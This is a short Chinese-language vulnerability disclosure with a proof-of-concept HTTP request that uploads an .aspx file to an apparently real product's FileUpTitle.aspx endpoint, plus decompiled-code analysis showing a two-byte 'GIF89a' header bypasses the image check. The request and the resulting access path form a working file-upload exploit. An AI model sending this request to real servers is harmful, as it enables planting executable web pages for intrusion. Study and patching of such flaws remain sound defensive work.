POC数据包:
POST /Module/FileUpPage/FileUpTitle.aspx?file_tmid=c HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----21909179191068471382830692394Connection: closeContent-Length: 199------21909179191068471382830692394Content-Disposition: form-data; name="File"; filename="test.aspx"Content-Type: image/jpegGIF89aPwn!!!------21909179191068471382830692394--
之后访问路径为:
http://IP:PORT/imgnews/imgad/000000/c.aspx
漏洞分析:
漏洞位于文件为
\Module\FileUpPage\FileUpTitle.aspx
对应需要反编译分析的DLL文件也是KR.Administrator.dll。
分析FileUpTitle方法下。
1.从请求中获取参数:orgid(组织ID,默认为"000000"),type(上传类型,目前有"newsphoto"和其他类型,即imgad)。
2.根据不同的type,文件上传到不同的目录:
当type为"newsphoto"时,上传到"\imgnews\newsphoto\" + orgid + "\"
其他情况(包括type为空或其他值)上传到"\imgnews\imgad\" + orgid + "\"
3.文件命名:使用请求参数"file_tmid"作为文件名,保留原文件扩展名。
4.文件上传后,使用SystemHelper.FilePass方法检查文件是否为图片类型。如果不是,则删除文件并返回错误信息。
5.返回JSON格式的上传结果。
接着跟进SystemHelper.FilePass方法查看他是怎么检查的?
这里的检查只是判断前2个字节是否为case中的开头ASCII字符,因此可以通过开头写GIF89a来绕过文件内容判断。